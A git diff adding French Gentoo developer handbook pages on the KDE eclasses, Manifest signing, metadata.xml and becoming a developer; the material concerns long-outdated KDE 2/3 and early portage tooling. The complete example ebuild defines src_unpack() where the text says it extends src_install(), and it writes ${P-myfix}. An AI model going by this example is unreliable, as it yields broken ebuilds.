+3.0.x est situé dans <path>/usr/kde/3</path> (et non dans
+<path>/usr/kde/3.0</path>) et KDE 2.2.2 (la seule version disponible sous
+Gentoo pour les versions 2.x) est dans <path>/usr/kde/2</path>. Certains
+ebuilds sont installés dans <path>/usr/kde/cvs</path>.
+</p>
+
+<p>
+De ce fait, tous les KDE ayant un numéro de version mineur différent entre eux
+peuvent coexister sur un même système. Les paquets kde-base ont un SLOT
+majeur.mineur (par exemple, 3.0, 3.1).
+</p>
+
+<p>
+Depuis que les versions mineures de KDE sont supposées utiliser une version de
+QT compatible entre les versions mineures, nous n'avons qu'une seule version
+majeure installée, avec un slot différent&nbsp;: ils sont dans
+<path>/usr/qt/${major}</path>.
+</p>
+
+<p>
+Un ebuild autre que kde-base est toujours installé dans <path>/usr</path>. Le
+paquet kde-env ajoute <e>KDEDIRS=/usr</e> dans <path>/etc/env.d</path>
+permettant aux applications concernées de fonctionner correctement.
+L'application compile et se lie avec la dernière version des bibliothèques KDE
+trouvées&nbsp;: l'eclass vérifie les emplacements standards dans un ordre
+décroissant (c'est-à-dire /usr/kde/cvs, puis /usr/kde/3.1, puis /usr/kde/3).
+Les ebuilds de kde-base se lieront toujours avec la bibliothèque kdelibs de sa
+propre version. Cela dépend bien sûr du paramètre passé à need-kde() (voir plus
+bas).
+</p>
+
+<p>
+Plusieurs variables spéciales permettent de changer la configuration par défaut
+du système. Leur première utilité est de compiler un ebuild en utilisant un KDE
+spécifique que vous avez installé pour faire des tests, mais vous pouvez aussi
+les utiliser pour installer KDE dans un répertoire non standard, et donc avoir
+par exemple KDE 3.0.1 et 3.0.2 installés en même temps sur un même système.
+Encore une fois, c'est plus utile pour les tests et le développement que pour
+une utilisation normale.
+</p>
+
+<p>
+Toutes les applications KDE (base et non-base) seront installées dans
+${KDEPREFIX}, s'il est initialisé. Il a priorité sur toutes les actions
+d'installation dans un répertoire pour tous les eclass.
+</p>
+
+<p>
+Une application KDE (même si c'est une application de kde-base) essaiera de se
+lier au kdelibs installé dans ${KDELIBSDIR} s'il est initialisé. S'il échoue, il
+utilisera le processus par défaut expliqué plus haut pour identifier la
+dernière version de kdelibs (ou la bonne version pour kde-base).
+</p>
+
+<p>
+<b>need-kde(), need-qt(), set-kdedir(), set-qtdir()</b>
+</p>
+
+<p>
+kde-functions.eclass fournit deux paires de fonctions&nbsp;: need-kde(),
+need-qt() et set-kdedir(), set-qtdir(). Ces fonctions s'occupent de la mise en
+place de tous les petits détails pour l'installation de multiples KDE et QT.
+</p>
+
+<p>
+La fonction need-kde() est appelée avec un paramètre qui est le numéro de
+version minimal requis pour la bibliothèque kdelibs. Il ajoute les bonnes
+dépendances à DEPEND et RDEPEND, et appelle la fonction set-kdedir(). Si aucun
+paramètre n'est donné, le numéro de version 0 sera utilisé, ce qui signifie en
+fait que toutes les versions satisferont les dépendances requises. need-kde()
+appelle également need-autoconf() et need-automake() avec les paramètres
+adaptés à la version de KDE.
+</p>
+
+<p>
+La fonction set-kdedir() détermine ensuite le préfixe d'installation et le
+répertoire pour kdelibs, qui seront utilisés dans votre ebuild. Ils sont
+ensuite disponibles avec respectivement ${PREFIX} et ${KDEDIR}, et sont gérés
+automatiquement dans kde.eclass. Remarquez qu'aucun ebuild ne devrait
+initialiser ${KDEPREFIX} et ${KDELIBSDIR} directement.
+</p>
+
+<p>
+need-kde() regarde également la version minimale de QT requise pour cette
+version de kdelibs dans une table. Il appelle ensuite need-qt() avec cette
+version. L'ebuild d'une application qt-uniquement (c'est-à-dire non-kde)
+appelle en général directement need-qt(), sans passer par need-kde().
+</p>
+
+<p>
+La fonction need-qt() ajoute la version requise de QT dans DEPEND et RDEPEND,
+puis appelle set-qtdir() avec celle-ci. La fonction set-qtdir() initialise
+${QTDIR} pour qu'il contienne le répertoire par défaut de cette version de QT.
+Contrairement à set-kdedir(), set-qtdir() ne vérifie en fait pas si QT est bien
+installé où indiqué.
+</p>
+
+<p>
+need-kde() ou need-qt() doit être appelé depuis la partie principale d'un
+ebuild (c'est-à-dire pas depuis une fonction), afin que tous les changements
+effectués sur DEPEND et RDEPEND affectent emerge.
+</p>
+
+<p>
+<b>need-autoconf(), need-automake()</b>
+</p>
+
+<p>
+Ces fonctions initialisent les variables d'environnement nécessaires pour
+pouvoir exécuter les versions requises de autoconf et automake. Elles
+suppriment également toutes les variables de ce type initialisées auparavant.
+Par exemple, appeler «&nbsp;need-automake 1.4&nbsp;» supprimera toutes les
+variables WANT_AUTOMAKE* et initialisera NEED_AUTOMAKE_1_4 à 1. Pour plus
+d'informations, lire le code de ces fonctions et les commentaires au début de
+<path>/usr/bin/auto{conf,make}</path> (sur un système Gentoo).
+</p>
+
+<p>
+<b>kde_sandbox_patch()</b>
+</p>
+
+<p>
+Certains Makefile de KDE sont cassés. Ils effectuent des <e>chown</e> et
+<e>chmod</e> dans PREFIX à l'installation, mais ne respectent pas DESTDIR
+(${D}). Ainsi, à l'installation, ils copient correctement un fichier dans
+${DESTDIR}/${PREFIX}/repertoire/de/foo, mais essaient ensuite de faire un
+<c>chmod +x</c> sur le fichier ${PREFIX}/repertoire/de/foo sur le système de
+fichiers, qui n'existent à priori même pas. Et s'il existe, le bac à sable
+(sandbox) empêche de réaliser cette opération.
+</p>
+
+<p>
+Cette fonction lance un <c>sed</c> générique sur les Makefile qui résoud tous
+les problèmes connus. Elle est appelée avec les répertoires à traiter en
+paramètres et utilise les fichiers Makefile, Makefile.in et Makefile.am situés
+dans ces mêmes répertoires. Par exemple&nbsp;:
+</p>
+
+<pre caption="Utilisation de kde_sandbox_patch">
+src_unpack() {
+  base_src_unpack
+  kde_sandbox_patch ${S}/dir1 ${S}/dir2/dir3
+}
+</pre>
+
+<p>
+<b>kde_remove_flag()</b>
+</p>
+
+<p>
+Il sert à ignorer les paramètres passés au compilateur qui sont connus pour
+casser les paquets générés. Vous devez l'appeler après avoir préparé l'espace
+de travail (dé-archivage des sources...) en lui donnant comme premier paramètre
+le sous-répertoire de travail de ${S} et comme second paramètre, le nom d'un
+paramètre à enlever. Remarquez que la fonction n'est pas récursive. Un exemple
+d'appel à cette fonction serait donc&nbsp;: <e>kde_remove_flag foodir/barfoo
+-fomit-frame-pointer</e>.
+</p>
+
+<p>
+<b>kde_remove_dir() et ${KDE_REMOVE_DIR}</b>
+</p>
+
+<p>
+Cette fonction supprime de la compilation un répertoire spécifique. Elle
+l'efface et supprime toutes les références à ce répertoire dans les fichiers
+dansles sous-répertoires, dans les fichiers configure et dans les Makefile.
+Remarquez que cela ne fonctionne que sur des sous-répertoires de ${S} pour le
+moment et ne fonctionne pas non plus pour les sous-répertoires de profondeur
+supérieure à 2. Vous pouvez l'appeler avec une liste des sous-répertoires à
+enlever&nbsp;; elle travaille sur tous les répertoires les uns après les
+autres.
+</p>
+
+<p>
+Vous pouvez l'appeler directement, mais pour éviter d'avoir à définir une
+fonction personnalisée pour src_unpack() juste pour cela, vous pouvez
+initialiser la variable KDE_REMOVE_DIR à la liste des sous-répertoires à
+enlever. kde_src_unpack() appellera <e>kde_remove_dir ${KDE_REMOVE_DIR}</e>
+après avoir fait son travail. Comme vous pouvez le constater, cela vous permet
+de vous économiser la peine d'avoir à redéfinir une fonction dans un ebuild, ce
+qui rend les ebuilds bien plus lisibles et propres.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>kde.eclass</title>
+<body>
+
+<p>
+C'est l'eclass principal et central de KDE. Il contient la plupart du code
+relatif à KDE. Tous les ebuilds pour KDE en héritent d'une manière ou d'une
+autre. l'eclass kde hérite lui-même de base et de kde-functions.
+</p>
+
+<p>
+Comme pour les autres eclass, lisez-le pour trouver ce qu'il fait. La plupart
+de ses fonctions sont simples et coulent de source. Voici un petit
+résumé&nbsp;:
+</p>
+
+<p>
+La section globale de l'eclass (c'est-à-dire celle qui est exécutée lors de
+l'opération d'héritage) ajoute les bonnes dépendances pour kde-env, automake,
+autoconf, make et perl (ce dernier est utilisé par les scripts standards de
+configuration «&nbsp;configure&nbsp;» pour générer rapidement les Makefile).
+Il initialise également SLOT="0" par défaut.
+</p>
+
+<p>
+kde_src_unpack() appelle simplement base_src_unpack() en lui passant tous les
+paramètres nécessaires (par exemple, les sections à exécuter). Ensuite, elle
+ajoute des petits éléments spécifiques à KDE. Elle touche à tous les fichiers
+.ui dans les sources non désarchivées pour regénérer tous les fichiers .cpp et
+.h. Elle appelle également kde_remove_dir() avec ${KDE_REMOVE_DIR} comme
+paramètre si cette variable est bien initialisée (voir plus haut dans la
+partie sur kde-functions).
+</p>
+
+<p>
+kde_src_compile() effectue également un certain nombre d'opérations. Parmi
+celles-ci, elle exporte kde_widgetdir="${KDEDIR}/lib/kde3/plugins/designer" pour
+contourner un problème rencontré avec les anciens fichiers acinclude.m4.in de
+KDE. Elle initialise également HOME="${T}/fakehome" pour que tous les accès à
+${HOME}/.kde et ${HOME}/.qt ne soient pas refusés par le sandbox et pour ne pas
+affecter directement les répertoires des utilisateurs. C'est une erreur de sa
+part de toujours vouloir accéder aux fichiers de configuration de ces
+répertoires.
+</p>
+
+<p>
+kde_src_compile() comporte différentes sections. <c>myconf</c> ajoute à
+${myconf} les paramètres par défaut du script de configuration de la compilation
+pour KDE (<e>./configure</e>), comme par exemple --prefix=${PREFIX}
+(souvenez-vous, ${PREFIX} est initialisé par set-kdedir()). Vous pouvez ajouter
+vos propres valeurs à ${myconf}, avant ou après cette section d'ailleurs&nbsp;;
+souvenez-vous simplement de ne jamais écraser les anciennes valeurs parce que
+les utilisateurs peuvent eux aussi mettre des paramètres dans ${myconf}, dans le
+shell, pour pouvoir ajouter des paramètres qui seront utilisés par l'ebuild.
+</p>
+
+<p>
+La section <c>configure</c> lance le script de configuration dans ${S} en lui
+passant ${myconf} en paramètre. Si le script de configuration n'existe pas, il
+essaiera de le générer en lançant <e>make -f Makefile.cvs</e> ou <e>make -f
+admin/Makefile.common</e>. Cela dit, cette étape de la compilation (qui est
+nécessaire pour les instantanés cvs ou pour les ebuilds qui modifient des
+fichiers comme configure.in) est également faite automatiquement.
+</p>
+
+<p>
+La section <c>make</c> lance simplement <e>emake || die</e>. Enfin, une section
+<c>all</c> lance successivement toutes les sections présentées plus haut.
+</p>
+
+<p>
+Finalement, kde_src_install() a une section <c>make</c> qui lance <e>make
+install</e> et une section <c>dodoc</c> qui lance <e>dodoc</e> sur certains
+noms de documents dans ${S}, comme par exemple README et COPYING.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>kde-base.eclass</title>
+<body>
+
+<p>
+Cet eclass est maintenant désuet, les ebuilds doivent utiliser «&nbsp;inherit
+kde&nbsp;» à la place.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>kde-dist.eclass</title>
+<body>
+
+<p>
+Cet eclass est utilisé pour les paquets de distribution kde core dans
+kde-base/*. Il hérite de kde.
+</p>
+
+<p>
+Il initialise les variables DESCRIPTION et HOMEPAGE correctement et appelle
+<e>need-kde ${PV}</e>. Les petis paquets simples de kde-base/ (par exemple,
+kdetoys) n'ont généralement pas besoin de faire de changement ici.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>kde-i18n.eclass</title>
+<body>
+
+<p>
+Cet eclass est fait pour les paquets kde-i18n-*. En fait, tous les ebuilds
+kde-i18n sont rigoureusement identiques et tout ce qu'ils ont à faire est
+d'hériter de cet eclass. Leurs variables ${P} et ${PV} feront le reste.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>kde.org.eclass</title>
+<body>
+
+<p>
+Cet eclass est également désuet et tout son code a été déplacé dans
+kde-dist.eclass.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>koffice-i18n.eclass</title>
+<body>
+
+<p>
+Cet eclass est fait pour les paquets de koffice-i18n-* et est très similaire à
+kde-i18n.eclass. Encore une fois, tous les ebuilds koffice-i18n sont identiques
+et tout ce qu'ils ont à faire est d'hériter de cet eclass.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>kde-source.eclass</title>
+<body>
+
+<p>
+Cet eclass travaille à un niveau au dessus de cvs.eclass en ajoutant quelques
+fonctionnalités spécifiques à KDE. Par exemple, il récupère automatiquement le
+répertoire <path>admin/</path> dans le module kde-common du cvs pour KDE.
+Lisez l'eclass directement pour en savoir d'avantage, notamment les
+configurations spécifiques au cvs pour KDE que vous pouvez lui passer.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Écrire des ebuilds KDE</title>
+<subsection>
+<title>Introduction</title>
+<body>
+
+<p>
+Ce chapitre explique comment écrire des ebuilds pour KDE. Tout ce qui est dit
+ici est une récupération et restructuration des informations présentes dans les
+eclass cités plus haut. Si vous avez un doute quelconque, allez voir d'autres
+ebuild, lire les eclass ou demandez tout simplement.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Un ebuild typique KDE</title>
+<body>
+
+<p>
+Le code ci-dessous devrait être évident pour vous après avoir lu ce
+HOWTO&nbsp;:
+</p>
+
+<pre caption="Un ebuild simple pour KDE, #1">
+&lt;Les en-têtes viennent ici...&gt;
+inherit kde
+</pre>
+
+<p>
+Certains ebuilds finissent directement ici. D'autres ont besoin d'un peu de
+personnalisation.
+</p>
+
+<p>
+L'étape suivante est l'ajout de toutes les dépendances supplémentaires.
+Souvenez-vous&nbsp;: <b>toujours</b> ajouter aux variables, jamais les
+écraser&nbsp;!
+</p>
+
+<p>
+Puisque notre objectif est d'éviter de définir des fonctions personnalisées
+dans nos ebuilds, sauf si c'est vraiment nécessaire, nous initialisons tout ce
+qu'on peut initialiser et appelons toutes les fonctions d'aide possible
+directement dans la section principale de l'ebuild. Souvenez-vous cependant
+qu'il y a des limitations dans le code de la section principale&nbsp;; par
+exemple il ne doit pas produire de sortie (à l'exclusion <e>à priori</e> de
+l'utilisation raisonnable de debug-print()).
+</p>
+
+<pre caption="Un ebuild simple pour KDE, #2 : ajouter des dépendances supplémentaires">
+DEPEND="foo/bar"
+RDEPEND="bar/foo"
+</pre>
+
+<p>
+Vous pouvez également vouloir ajouter quelques arguments supplémentaires à
+myconf, qui seront ensuite passés à ./configure (en supposant qu'on utilise la
+section <c>configure</c> de kde_src_compile())&nbsp;:
+</p>
+
+<pre caption="Un ebuild simple pour KDE, #3 : passer des arguments à configure">
+myconf="${myconf} --with-foobar"
+</pre>
+
+<p>
+Nous devons également ajouter un correctif. S'il peut s'appliquer en utilisant
+le paramètre -p0 dans ${S}, vous pouvez utiliser la section <c>autopatch</c> de
+base_src_unpack(). Souvenez-vous, kde_src_unpack() appelle base_src_unpack()
+en lui passant tous les arguments passés à kde_src_unpack().
+</p>
+
+<pre caption="Un ebuild simple pour KDE, #4 : correctifs automatiques" >
+PATCHES="${FILESDIR}/${P-myfix}.diff"
+</pre>
+
+<p>
+Finalement, nous voulons une version étendue de src_install() pour s'occuper
+également de certaines documentations&nbsp;:
+</p>
+
+<pre caption="Un ebuild simple pour KDE, #5 : étendre src_install()" >
+src_unpack() {
+  kde_src_install
+  dodoc ${S}/doc/*
+}
+</pre>
+
+<p>
+Regardons maintenant l'ebuild que nous avons créé dans notre exemple&nbsp;:
+</p>
+
+<pre caption="Un ebuild simple pour KDE - complet" >
+&lt;Les en-têtes viennent ici...&gt;
+inherit kde
+
+# add deps
+DEPEND="foo/bar"
+RDEPEND="bar/foo"
+
+# always enable foobar
+myconf="${myconf} --with-foobar"
+
+# fix terrible bug
+PATCHES="${FILESDIR}/${P-myfix}.diff"
+
+src_unpack() {
+  kde_src_install
+  # install some extra docs not included in make install's targets
+  dodoc ${S}/doc/*
+}
+</pre>
+</body>
+</subsection>
+<subsection>
+<title>Un ebuild typique avec une fonctionnalité optionnelle KDE</title>
+<body>
+
+<p>
+Quand vous ajoutez une fonctionnalité KDE (eclass) à un ebuild existant, vous
+n'avez qu'à préfixer toutes les lignes spécifiques à KDE avec <c>use kde
+&amp;&amp;</c>, ou à créer des blocs entiers <c>if [ -n "`use kde`" ]; then;
+fi</c>.
+</p>
+
+<p>
+Dans la section générale, ajoutez les lignes suivantes (seulement si le
+paramètre USE kde est mis, évidemment)&nbsp;:
+</p>
+
+<pre caption="Support optionnel KDE - section principale de l'ebuild">
+inherit kde-functions
+
+# This will add kdelibs, kde-env to your dep strings and set ${KDEDIR}
+# to the correct value:
+
+need-kde ${version} <comment># Version minimale de kde requise</comment>
+
+# Add anything else you need for kde support:
+use kde &amp;&amp; myconf="${myconf} --with-my-parameter"
+</pre>
+
+<p>
+Ensuite, indiquez à votre application de rechercher KDE dans la configuration
+${KDEDIR} qui est disponible après un appel de need-kde(). Si vous ne voulez pas
+ajouter les dépendances à kdelibs, appelez set-kdedir() à la place de
+need-kde().
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/devrel/handbook/hb-guide-manifest-signing.xml b/xml/htdocs/proj/fr/devrel/handbook/hb-guide-manifest-signing.xml
new file mode 100644
index 00000000..ad8422a3
--- /dev/null
+++ b/xml/htdocs/proj/fr/devrel/handbook/hb-guide-manifest-signing.xml
@@ -0,0 +1,88 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<sections>
+<section>
+<title>Comment signer des Manifests</title>
+
+<subsection>
+<body>
+
+<p>
+Prérequis&nbsp;:
+</p>
+
+<ul>
+  <li>>=sys-apps/portage-2.0.51_pre10</li>
+  <li>>=app-crypt/gnupg-1.2.4</li>
+</ul>
+
+<p>
+Préparation de la clef&nbsp;:
+</p>
+
+<ul>
+  <li>
+    <uri link="/doc/en/gnupg-user.xml#doc_chap2">Créez</uri> une nouvelle
+    clef GnuPG DSA d'une longueur d'au moins 1024 bits, d'une période
+    d'expiration de moins de six mois et avec un bon mot de passe.
+  </li>
+  <li>
+    <uri link="/doc/en/gnupg-user.xml#doc_chap3">Envoyez</uri> la clef au
+    serveur de clefs.
+  </li>
+</ul>
+
+<p>
+Configuration de Portage&nbsp;:
+</p>
+
+<ul>
+  <li>
+    Mettez à la variable <path>PORTAGE_GPG_DIR</path> la valeur de votre
+    répertoire gnupg (par exemple <path>~/.gnupg/</path> ou le répertoire où
+    le fichier contenant la clef se trouve).
+  </li>
+  <li>
+    Mettez à la variable <path>PORTAGE_GPG_KEY</path> la valeur de votre clef
+    d'identification pour la nouvelle clef.
+  </li>
+  <li>Ajoutez le paramètre <e>FEATURES="sign"</e> à votre configuration.</li>
+</ul>
+
+<p>
+Maintenant, vous devriez pouvoir signer vos Manifests lorsque vous effectuez
+une soumission avec <c>repoman</c>. Repoman va vous demander votre mot de
+passe avant de soumettre le Manifest. Cette étape se fait après qu'il ait
+soumis l'ensemble des autres fichiers. Pour le moment, repoman ne vérifie pas
+encore si le Manifest était déjà signé ou non, ce qui fait que d'autres
+développeurs peuvent supprimer votre signature du paquet ultérieurement. Cet
+état de fait changera lorsque la signature des Manifests deviendra
+obligatoire.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Comment vérifier des Manifests</title>
+<subsection>
+<body>
+
+<p>
+Pour le moment Portage n'a pas encore intégré d'outil de vérification. Un
+premier essai qui permette de vérifier un Manifest est disponible pour tester
+<uri
+link="http://dev.gentoo.org/~genone/scripts/portage-gpg-verify.sh">ici</uri>.
+C'est un code en version alpha, très incomplet, et il n'est là que pour
+tester.  Aucune garantie n'est donnée.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/devrel/handbook/hb-guide-metadata.xml b/xml/htdocs/proj/fr/devrel/handbook/hb-guide-metadata.xml
new file mode 100644
index 00000000..d8e3fe45
--- /dev/null
+++ b/xml/htdocs/proj/fr/devrel/handbook/hb-guide-metadata.xml
@@ -0,0 +1,270 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<sections>
+<section>
+<title>L'utilité des fichiers metadada.xml</title>
+<subsection>
+<body>
+
+<p>
+Le fichier <c>metadata.xml</c> a pour objectif de donner des informations
+supplémentaires sur les ebuilds. Le fichier <c>metadata.xml</c> devrait être
+présent dans tout répertoire de paquet. Vous pourrez trouver un fichier
+<e>skel</e> dans l'arbre de Portage, nommé <c>skel.metadata.xml</c>.
+</p>
+
+<note>
+Exécutez la commande <c>xmllint --valid metadata.xml</c> avant de soumettre un
+fichier <c>metadata.xml</c>. Nous espérons intégrer rapidement dans repoman le
+support des fichiers <c>metadata.xml</c>.
+</note>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>La structure d'un metadata</title>
+<subsection>
+<body>
+
+<p>
+Un fichier <c>metadata.xml</c> peut contenir un certain nombre de
+balises&nbsp;:
+</p>
+
+<table>
+<tr>
+  <th>balise</th>
+  <th>description</th>
+</tr>
+
+<tr>
+  <ti><brite>&lt;pkgmetadata&gt;</brite></ti>
+  <ti>
+    C'est l'élément racine d'un fichier metadata.xml d'un paquet. Il n'a pas
+    d'attributs.  Il doit avoir la balise fille suivante&nbsp;:
+    <brite>&lt;herd&gt;</brite>.  Il peut également admettre les balises filles
+    suivantes&nbsp;: <brite>&lt;email&gt;</brite> pour une adresse électronique
+    de <e>herd</e> (groupe travaillant sur le projet),
+    <brite>&lt;maintainer&gt;</brite>, et
+    <brite>&lt;longdescription&gt;</brite>.
+  </ti>
+</tr>
+
+<tr>
+  <ti>
+    <brite>&lt;catmetadata&gt;</brite>
+  </ti>
+  <ti>
+    C'est l'élément racine d'un fichier metadata.xml d'une catégorie (cf.  <uri
+    link="/proj/en/glep/glep-0034.html">GLEP 34</uri>.) Il n'a pas d'attributs.
+    Il contient plusieurs éléments <brite>&lt;longdescription&gt;</brite>, un
+    par langue.
+  </ti>
+</tr>
+
+<tr>
+  <ti><brite>&lt;herd&gt;</brite></ti>
+  <ti>
+    Il doit y avoir au moins une balise fille de type <e>herd</e>. Le contenu
+    de cette balise doit être le nom d'un groupe, comme spécifié dans le
+    fichier <uri
+    link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/misc/herds.xml?rev=HEAD;cvsroot=gentoo;content-type=text/plain">herds.xml</uri>.
+    Elle ne doit apparaître qu'une et une seule fois.
+  </ti>
+</tr>
+
+<tr>
+  <ti><brite>&lt;maintainer&gt;</brite></ti>
+  <ti>
+    Au delà du fait d'appartenir à un groupe, un paquet peut aussi être
+    maintenu de manière directe. Les mainteneurs du paquet peuvent être indiqué
+    à l'aide de la balise <brite>&lt;maintainer&gt;</brite>. Cette balise a une
+    balise fille obligatoire&nbsp;:<brite>&lt;email&gt;</brite>. Elle a deux
+    balises filles optionnels&nbsp;: <brite>&lt;name&gt;</brite> et
+    <brite>&lt;description&gt;</brite>.
+  </ti>
+</tr>
+
+<tr>
+  <ti><brite>&lt;email&gt;</brite></ti>
+  <ti> 
+    Celle-ci contient l'adresse électronique du mainteneur. Elle est
+    obligatoire.
+  </ti>
+</tr>
+
+<tr>
+  <ti><brite>&lt;name&gt;</brite></ti>
+  <ti>
+    Cette balise contient un texte libre avec le nom du mainteneur. Elle est
+    optionnelle.
+  </ti>
+</tr>
+
+<tr>
+  <ti><brite>&lt;description&gt;</brite></ti>
+  <ti>
+    La balise de description contient une description sur la maintenance ou par
+    exemple une remarque indiquant aux personnes intéressées qu'elle peuvent se
+    charger de la maintenance. Cette balise est optionnelle.
+  </ti>
+</tr>
+
+<tr>
+  <ti><brite>&lt;longdescription&gt;</brite></ti>
+  <ti>
+    Cette balise contient une description du paquet. Elle a pour objectif
+    d'ajouter des informations au champ DESCRIPTION présent dans les ebuilds.
+  </ti>
+</tr>
+</table>
+
+<p>
+Certains attributs peuvent être utilisés avec ces balises. Ils sont tous
+optionnels&nbsp;:
+</p>
+
+<table>
+<tr>
+  <th>Attribut</th>
+  <th>Balises</th>
+<th>Description</th>
+</tr>
+
+<tr>
+  <ti>lang</ti>
+  <ti>
+    <brite>&lt;description&gt;</brite>, <brite>&lt;longdescription&gt;</brite>
+  </ti>
+  <ti>
+    Dans tous les cas pour lesquels une description est nécessaire, il doit y
+    avoir <e>au moins</e> une description en anglais. Si une description dans
+    une autre langue est proposée, cet attribut est utilisé pour spécifier la
+    langue utilisée. On utilise le code de la langue en deux caractères défini
+    par la <uri link="http://www.w3.org/WAI/ER/IG/ert/iso639.htm#2letter">norme
+    ISO-639-1</uri>.
+  </ti>
+</tr>
+
+<tr>
+  <ti>restrict</ti>
+  <ti>
+    <brite>&lt;herd&gt;</brite>, <brite>&lt;maintainer&gt;</brite>,
+    <brite>&lt;longdescription&gt;</brite>
+  </ti>
+  <ti>
+    L'attribut <e>restrict</e> permet de restreindre l'application de certaines
+    balises à certaines versions d'un paquet. Quand cet attribut est utilisé,
+    une balise sans attribut doit également exister. Cette balise sans
+    l'attribut <e>restrict</e> servira de balise par défaut. Le format de
+    l'attribut <e>restrict</e> est celui utilisé dans les paramètres DEPEND, à
+    l'exception du fait que "&lt;" et "&gt;" doivent être spécifiés avec des
+    &amp;lt; et &amp;gt;.
+    <br/>
+    Par exemple pour le paquet db, un attribut
+    <c>restrict="&gt;=sys-libs/db-3.2.9-r5"</c> dans la balise du mainteneur
+    indiquera que je suis actuellement mainteneur dans toutes les versions
+    supérieures à la 3.2.9-r5.
+  </ti>
+</tr>
+</table>
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Exemples de metadata</title>
+<subsection>
+<title>Premier exemple</title>
+<body>
+
+<p>
+Dans le premier exemple nous vous proposons un fichier
+<path>metadata.xml</path> pour OpenOffice.org, dans lequel les ebuilds sont
+complètement gérés par un groupe nommé <c>openoffice</c>&nbsp;:
+</p>
+
+<pre caption="Paquet géré par un groupe">
+&lt;?xml version='1.0' encoding='UTF-8'?&gt;
+&lt;!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd"&gt;
+&lt;pkgmetadata&gt;
+  &lt;herd&gt;openoffice&lt;/herd&gt;
+  &lt;longdescription&gt;
+OpenOffice is the  opensource version of staroffice.
+This ebuild allows you to compile it yourself. Unfortunately this
+compilation can take up to a day depending on the speed of your
+computer. It will however make a snappier openoffice than the binary
+version.
+  &lt;/longdescription&gt;
+&lt;/pkgmetadata&gt;
+</pre>
+
+<p>
+Le groupe <c>openoffice</c> est défini dans <path>herds.xml</path> par le <uri
+link="/proj/en/metastructure">Projet de métastructure Gentoo</uri>.
+</p>
+
+<note>
+Cet exemple est probablement démodé à l'heure où vous lisez ces lignes. Ce
+n'est qu'un exemple&nbsp;!
+</note>
+
+<pre caption="Exemple de groupe OpenOffice">
+&lt;herd&gt;
+  &lt;name&gt;openoffice&lt;/name&gt;
+  &lt;email&gt;openoffice@gentoo.org&lt;/email&gt;
+  &lt;description&gt;openoffice related packages&lt;/description&gt;
+  &lt;maintainer&gt;&lt;email&gt;pauldv@gentoo.org&lt;/email&gt;&lt;/maintainer&gt;
+  &lt;maintainer&gt;&lt;email&gt;brad@gentoo.org&lt;/email&gt;&lt;/maintainer&gt;
+&lt;/herd&gt;
+</pre>
+
+<p>
+Si vous souhaitez vous ajouter (ou enlever) dans un groupe, éditez
+<path>herds.xml</path>, qui est situé dans <path>[gentoo]/misc</path> dans le
+dépôt CVS de Gentoo. Assurez-vous de connaître l'alias mail caractérisant le
+groupe en question (par exemple le groupe <e>sound</e> a pour alias <mail
+link="sound@gentoo.org">sound@gentoo.org</mail>) et ajoutez-vous à l'alias en
+question (en éditant <path>/var/mail/alias/misc/&lt;nom de l'alias&gt;</path>
+sur dev.gentoo.org).
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Second exemple</title>
+<body>
+
+<p>
+Comme second exemple, nous allons voir le <path>metadata.xml</path> de
+<c>mirrorselect</c>. Cet ebuild est maintenu par le groupe
+<c>tools-portage</c>, mais a un mainteneur à part.
+</p>
+
+<pre caption="Paquet d'un groupe avec un mainteneur individuel">
+&lt;?xml version='1.0' encoding='UTF-8'?&gt;
+&lt;!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd"&gt;
+&lt;pkgmetadata&gt;
+  &lt;herd&gt;tools-portage&lt;/herd&gt;
+  &lt;maintainer&gt;
+    &lt;email&gt;johnm@gentoo.org&lt;/email&gt;
+    &lt;name&gt;John Mylchreest&lt;/name&gt;
+  &lt;/maintainer&gt;
+  &lt;longdescription&gt;
+This utility is used to select the fastest mirror (distfiles) and provide a
+nicer front-end for mirror selection (both rsync + distfiles) to a user.
+  &lt;/longdescription&gt;
+&lt;/pkgmetadata&gt;
+</pre>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/devrel/handbook/hb-introduction-becoming-a-dev.xml b/xml/htdocs/proj/fr/devrel/handbook/hb-introduction-becoming-a-dev.xml
new file mode 100644
index 00000000..8c2a1bdb
--- /dev/null
+++ b/xml/htdocs/proj/fr/devrel/handbook/hb-introduction-becoming-a-dev.xml
@@ -0,0 +1,152 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/devrel/handbook/hb-introduction-becoming-a-dev.xml,v 1.3 2006/02/01 11:35:11 neysx Exp $ -->
+
+<sections>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+Il y a plusieurs façons de devenir développeur pour Gentoo et cette section va
+vous les présenter. Il y a également un certain nombre d'étapes que doivent
+suivre les nouvelles recrues pour devenir développeurs officiels.
